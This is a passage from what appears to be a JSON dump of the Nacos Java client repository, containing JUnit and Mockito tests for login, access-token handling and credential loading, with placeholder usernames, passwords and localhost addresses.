ServerListProvider.super.isFixed();\n    }\n    \n    @Override\n    public String getAddressSource() {\n        if (isReturnMock()) {\n            return \"MockAddressSource\";\n        }\n        return ServerListProvider.super.getAddressSource();\n    }\n    \n    private boolean isReturnMock() {\n        return properties.getBoolean(\"ReturnMock\", false);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/impl/NacosClientAuthServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass NacosClientAuthServiceImplTest {\n    \n    @Test\n    void testLoginSuccess() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"ttttttttttttttttt\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        boolean ret = nacosClientAuthService.login(properties);\n        //then\n        assertTrue(ret);\n    }\n    \n    @Test\n    void testTestLoginFailCode() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setCode(400);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        boolean ret = nacosClientAuthService.login(properties);\n        assertFalse(ret);\n    }\n    \n    @Test\n    void testTestLoginFailHttp() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenThrow(new Exception());\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        boolean ret = nacosClientAuthService.login(properties);\n        assertFalse(ret);\n        \n    }\n    \n    @Test\n    void testTestLoginServerListSuccess() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"ttttttttttttttttt\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        boolean ret = nacosClientAuthService.login(properties);\n        assertTrue(ret);\n    }\n    \n    @Test\n    void testTestLoginServerListLoginInWindow() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"ttttttttttttttttt\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        nacosClientAuthService.login(properties);\n        //then\n        boolean ret = nacosClientAuthService.login(properties);\n        assertTrue(ret);\n        \n    }\n    \n    @Test\n    void testGetAccessToken() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"abc\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        \n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        assertTrue(nacosClientAuthService.login(properties));\n        //then\n        assertEquals(\"abc\",\n                nacosClientAuthService.getLoginIdentityContext(null).getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n    }\n    \n    @Test\n    void testGetAccessEmptyToken() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        \n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        assertTrue(nacosClientAuthService.login(properties));\n        //then\n        assertEquals(\"\",\n                nacosClientAuthService.getLoginIdentityContext(null).getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n    }\n    \n    @Test\n    void testGetAccessTokenWithoutToken() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        \n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        assertTrue(nacosClientAuthService.login(properties));\n        //then\n        assertNull(\n                nacosClientAuthService.getLoginIdentityContext(null).getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n    }\n    \n    @Test\n    void testGetAccessTokenWithInvalidTtl() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"abc\\\",\\\"tokenTtl\\\":\\\"abc\\\"}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        \n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        \n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.setServerList(serverList);\n        nacosClientAuthService.setNacosRestTemplate(nacosRestTemplate);\n        //when\n        assertFalse(nacosClientAuthService.login(properties));\n    }\n    \n    @Test\n    void testReLogin() {\n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        nacosClientAuthService.login(new Properties());\n        // reLogin\n        nacosClientAuthService.getLoginIdentityContext(null).setParameter(NacosAuthLoginConstant.RELOGINFLAG, \"true\");\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        //when\n        assertTrue(nacosClientAuthService.login(properties));\n    }\n    \n    @Test\n    void testGenerateTokenWithInvalidToken() {\n        NacosClientAuthServiceImpl nacosClientAuthService = new NacosClientAuthServiceImpl();\n        long tokenTtl = 18000L;\n        long tokenRefreshWindow = nacosClientAuthService.generateTokenRefreshWindow(tokenTtl);\n        assertTrue(tokenRefreshWindow <= tokenTtl / 10);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/impl/process/HttpLoginProcessorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl.process;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.auth.impl.NacosAuthLoginConstant;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyMap;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass HttpLoginProcessorTest {\n    \n    @Mock\n    NacosRestTemplate restTemplate;\n    \n    @Mock\n    HttpRestResult result;\n    \n    Properties properties;\n    \n    HttpLoginProcessor loginProcessor;\n    \n    @BeforeEach\n    void setUp() {\n        loginProcessor = new HttpLoginProcessor(restTemplate);\n        properties = new Properties();\n    }\n    \n    @Test\n    void testGetResponseSuccess() throws Exception {\n        properties.setProperty(NacosAuthLoginConstant.SERVER, \"http://localhost:8848\");\n        when(restTemplate.postForm(eq(\"http://localhost:8848/nacos/v3/auth/user/login\"), eq(Header.EMPTY),\n                any(Query.class), anyMap(), eq(String.class))).thenReturn(result);\n        when(result.ok()).thenReturn(true);\n        Map<String, String> mockMap = new HashMap<>();\n        mockMap.put(Constants.ACCESS_TOKEN, \"mock_access_token\");\n        mockMap.put(Constants.TOKEN_TTL, \"100L\");\n        when(result.getData()).thenReturn(JacksonUtils.toJson(mockMap));\n        LoginIdentityContext actual = loginProcessor.getResponse(properties);\n        assertEquals(\"mock_access_token\", actual.getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n        assertEquals(\"100L\", actual.getParameter(NacosAuthLoginConstant.TOKENTTL));\n    }\n    \n    @Test\n    void testGetResponseFailed() throws Exception {\n        properties.setProperty(NacosAuthLoginConstant.SERVER, \"localhost\");\n        when(restTemplate.postForm(eq(\"http://localhost:8848/nacos/v3/auth/user/login\"), eq(Header.EMPTY),\n                any(Query.class), anyMap(), eq(String.class))).thenReturn(result);\n        assertNull(loginProcessor.getResponse(properties));\n    }\n    \n    @Test\n    void testGetResponseException() throws Exception {\n        properties.setProperty(NacosAuthLoginConstant.SERVER, \"localhost\");\n        when(restTemplate.postForm(eq(\"http://localhost:8848/nacos/v3/auth/user/login\"), eq(Header.EMPTY),\n                any(Query.class), anyMap(), eq(String.class))).thenThrow(new RuntimeException(\"test\"));\n        assertNull(loginProcessor.getResponse(properties));\n    }\n    \n    @Test\n    void testGetResponseSuccessFromV1() throws Exception {\n        properties.setProperty(NacosAuthLoginConstant.SERVER, \"localhost\");\n        HttpRestResult httpRes = new HttpRestResult<>();\n        httpRes.setCode(NacosException.SERVER_NOT_IMPLEMENTED);\n        when(restTemplate.postForm(eq(\"http://localhost:8848/nacos/v3/auth/user/login\"), eq(Header.EMPTY),\n                any(Query.class), anyMap(), eq(String.class))).thenReturn(httpRes);\n        when(result.ok()).thenReturn(true);\n        Map<String, String> mockMap = new HashMap<>();\n        mockMap.put(Constants.ACCESS_TOKEN, \"mock_access_token\");\n        mockMap.put(Constants.TOKEN_TTL, \"100L\");\n        when(result.getData()).thenReturn(JacksonUtils.toJson(mockMap));\n        when(restTemplate.postForm(eq(\"http://localhost:8848/nacos/v1/auth/users/login\"), eq(Header.EMPTY),\n                any(Query.class), anyMap(), eq(String.class))).thenReturn(result);\n        LoginIdentityContext actual = loginProcessor.getResponse(properties);\n        assertEquals(\"mock_access_token\", actual.getParameter(NacosAuthLoginConstant.ACCESSTOKEN));\n        assertEquals(\"100L\", actual.getParameter(NacosAuthLoginConstant.TOKENTTL));\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/RamClientAuthServiceImplTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.auth.ram.injector.AbstractResourceInjector;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass RamClientAuthServiceImplTest {\n    \n    private static final String MOCK = \"mock\";\n    \n    @Mock\n    private AbstractResourceInjector mockResourceInjector;\n    \n    private RamClientAuthServiceImpl ramClientAuthService;\n    \n    private Properties akSkProperties;\n    \n    private Properties roleProperties;\n    \n    private RamContext ramContext;\n    \n    private RequestResource resource;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        ramClientAuthService = new RamClientAuthServiceImpl();\n        Map<String, AbstractResourceInjector> resourceInjectors = (Map<String, AbstractResourceInjector>) ReflectUtils.getFieldValue(\n                ramClientAuthService, \"resourceInjectors\");\n        resourceInjectors.clear();\n        resourceInjectors.put(MOCK, mockResourceInjector);\n        ramContext = (RamContext) ReflectUtils.getFieldValue(ramClientAuthService, \"ramContext\");\n        akSkProperties = new Properties();\n        roleProperties = new Properties();\n        akSkProperties.setProperty(PropertyKeyConst.ACCESS_KEY, PropertyKeyConst.ACCESS_KEY);\n        akSkProperties.setProperty(PropertyKeyConst.SECRET_KEY, PropertyKeyConst.SECRET_KEY);\n        roleProperties.setProperty(PropertyKeyConst.RAM_ROLE_NAME, PropertyKeyConst.RAM_ROLE_NAME);\n        resource = new RequestResource();\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        ramClientAuthService.shutdown();\n    }\n    \n    @Test\n    void testLoginWithAkSk() {\n        assertTrue(ramClientAuthService.login(akSkProperties));\n        assertEquals(PropertyKeyConst.ACCESS_KEY, ramContext.getAccessKey());\n        assertEquals(PropertyKeyConst.SECRET_KEY, ramContext.getSecretKey());\n        assertNull(ramContext.getRamRoleName());\n        assertTrue(ramClientAuthService.login(roleProperties));\n        assertEquals(PropertyKeyConst.ACCESS_KEY, ramContext.getAccessKey());\n        assertEquals(PropertyKeyConst.SECRET_KEY, ramContext.getSecretKey());\n        assertNull(ramContext.getRamRoleName());\n    }\n    \n    @Test\n    void testLoginWithRoleName() {\n        assertTrue(ramClientAuthService.login(roleProperties));\n        assertNull(ramContext.getAccessKey(), PropertyKeyConst.ACCESS_KEY);\n        assertNull(ramContext.getSecretKey(), PropertyKeyConst.SECRET_KEY);\n        assertEquals(PropertyKeyConst.RAM_ROLE_NAME, ramContext.getRamRoleName());\n        assertTrue(ramClientAuthService.login(akSkProperties));\n        assertNull(ramContext.getAccessKey(), PropertyKeyConst.ACCESS_KEY);\n        assertNull(ramContext.getSecretKey(), PropertyKeyConst.SECRET_KEY);\n        assertEquals(PropertyKeyConst.RAM_ROLE_NAME, ramContext.getRamRoleName());\n    }\n    \n    @Test\n    void testGetLoginIdentityContextWithoutLogin() {\n        LoginIdentityContext actual = ramClientAuthService.getLoginIdentityContext(resource);\n        assertTrue(actual.getAllKey().isEmpty());\n        verify(mockResourceInjector, never()).doInject(resource, ramContext, actual);\n    }\n    \n    @Test\n    void testGetLoginIdentityContextWithoutInjector() {\n        ramClientAuthService.login(akSkProperties);\n        LoginIdentityContext actual = ramClientAuthService.getLoginIdentityContext(resource);\n        assertTrue(actual.getAllKey().isEmpty());\n        verify(mockResourceInjector, never()).doInject(resource, ramContext, actual);\n    }\n    \n    @Test\n    void testGetLoginIdentityContextWithInjector() {\n        ramClientAuthService.login(akSkProperties);\n        resource.setType(MOCK);\n        LoginIdentityContext actual = ramClientAuthService.getLoginIdentityContext(resource);\n        assertTrue(actual.getAllKey().isEmpty());\n        verify(mockResourceInjector).doInject(resource, ramContext, actual);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/identify/CredentialServiceTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\nclass CredentialServiceTest {\n    \n    private static final String APP_NAME = \"app\";\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        CredentialService.freeInstance();\n        CredentialService.freeInstance(APP_NAME);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.clearProperty(IdentifyConstants.PROJECT_NAME_PROPERTY);\n        CredentialService.freeInstance();\n        CredentialService.freeInstance(APP_NAME);\n    }\n    \n    @Test\n    void testGetInstance() {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        CredentialService credentialService2 = CredentialService.getInstance();\n        assertEquals(credentialService1, credentialService2);\n    }\n    \n    @Test\n    void testGetInstance2() {\n        CredentialService credentialService1 = CredentialService.getInstance(APP_NAME);\n        CredentialService credentialService2 = CredentialService.getInstance(APP_NAME);\n        assertEquals(credentialService1, credentialService2);\n    }\n    \n    @Test\n    void testGetInstance3() throws NoSuchFieldException, IllegalAccessException {\n        System.setProperty(IdentifyConstants.PROJECT_NAME_PROPERTY, APP_NAME);\n        CredentialService credentialService1 = CredentialService.getInstance();\n        Field appNameField = credentialService1.getClass().getDeclaredField(\"appName\");\n        appNameField.setAccessible(true);\n        String appName = (String) appNameField.get(credentialService1);\n        assertEquals(APP_NAME, appName);\n    }\n    \n    @Test\n    void testFreeInstance() {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        CredentialService credentialService2 = CredentialService.freeInstance();\n        assertEquals(credentialService1, credentialService2);\n    }\n    \n    @Test\n    void testFreeInstance2() {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        CredentialService credentialService2 = CredentialService.freeInstance();\n        assertEquals(credentialService1, credentialService2);\n    }\n    \n    @Test\n    void testFree() throws NoSuchFieldException, IllegalAccessException {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        CredentialWatcher mockWatcher = mock(CredentialWatcher.class);\n        Field watcherField = CredentialService.class.getDeclaredField(\"watcher\");\n        watcherField.setAccessible(true);\n        watcherField.set(credentialService1, mockWatcher);\n        //when\n        credentialService1.free();\n        //then\n        verify(mockWatcher, times(1)).stop();\n    }\n    \n    @Test\n    void testGetCredential() {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        Credentials credential = credentialService1.getCredential();\n        assertNotNull(credential);\n    }\n    \n    @Test\n    void testSetCredential() {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        Credentials credential = new Credentials();\n        //when\n        credentialService1.setCredential(credential);\n        //then\n        assertEquals(credential, credentialService1.getCredential());\n    }\n    \n    @Test\n    void testSetStaticCredential() throws NoSuchFieldException, IllegalAccessException {\n        CredentialService credentialService1 = CredentialService.getInstance();\n        CredentialWatcher mockWatcher = mock(CredentialWatcher.class);\n        Field watcherField = CredentialService.class.getDeclaredField(\"watcher\");\n        watcherField.setAccessible(true);\n        watcherField.set(credentialService1, mockWatcher);\n        Credentials credential = new Credentials();\n        //when\n        credentialService1.setStaticCredential(credential);\n        //then\n        assertEquals(credential, credentialService1.getCredential());\n        verify(mockWatcher, times(1)).stop();\n    }\n    \n    @Test\n    void testRegisterCredentialListener() {\n        CredentialListener expect = mock(CredentialListener.class);\n        CredentialService credentialService1 = CredentialService.getInstance();\n        credentialService1.registerCredentialListener(expect);\n        Credentials newCredentials = new Credentials();\n        newCredentials.setAccessKey(\"ak\");\n        credentialService1.setCredential(newCredentials);\n        verify(expect, times(1)).onUpdateCredential();\n    }\n}\n"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/auth/ram/identify/CredentialWatcherTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass CredentialWatcherTest {\n    \n    @Mock\n    private CredentialService credentialService;\n    \n    private CredentialWatcher credentialWatcher;\n    \n    private Method loadCredentialMethod;\n    \n    private Method loadCredentialFromPropertiesMethod;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        credentialWatcher = new CredentialWatcher(\"testApp\", credentialService);\n        loadCredentialMethod = CredentialWatcher.class.getDeclaredMethod(\"loadCredential\", boolean.class);\n        loadCredentialMethod.setAccessible(true);\n        loadCredentialFromPropertiesMethod = CredentialWatcher.class.getDeclaredMethod(\"loadCredentialFromProperties\",\n                InputStream.class, boolean.class, Credentials.class);\n        loadCredentialFromPropertiesMethod.setAccessible(true);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        credentialWatcher.stop();\n        System.clearProperty(\"spas.identity\");\n        System.clearProperty(IdentifyConstants.ENV_ACCESS_KEY);\n        System.clearProperty(IdentifyConstants.ENV_SECRET_KEY);\n        CredentialService.freeInstance();\n    }\n    \n    @Test\n    void testStop() throws NoSuchFieldException, IllegalAccessException {\n        credentialWatcher.stop();\n        Field executorField = CredentialWatcher.class.getDeclaredField(\"executor\");\n        executorField.setAccessible(true);\n        ScheduledExecutorService executor = (ScheduledExecutorService) executorField.get(credentialWatcher);\n        assertTrue(executor.isShutdown());\n    }\n    \n    @Test\n    void testLoadCredentialByEnv() throws InvocationTargetException, IllegalAccessException {\n        System.setProperty(IdentifyConstants.ENV_ACCESS_KEY, \"testAk\");\n        System.setProperty(IdentifyConstants.ENV_SECRET_KEY, \"testSk\");\n        final AtomicReference<String> readAk = new AtomicReference<>(\"\");\n        final AtomicReference<String> readSK = new AtomicReference<>(\"\");\n        final AtomicReference<String> readTenantId = new AtomicReference<>(\"\");\n        doAnswer(invocationOnMock -> {\n            Credentials credentials = invocationOnMock.getArgument(0, Credentials.class);\n            readAk.set(credentials.getAccessKey());\n            readSK.set(credentials.getSecretKey());\n            readTenantId.set(credentials.getTenantId());\n            return null;\n        }).when(credentialService).setCredential(any());\n        loadCredentialMethod.invoke(credentialWatcher, true);\n        assertEquals(\"testAk\", readAk.get());\n        assertEquals(\"testSk\", readSK.get());\n        assertNull(readTenantId.get());\n    }\n    \n    @Test\n    void testLoadCredentialByIdentityFile() throws InvocationTargetException, 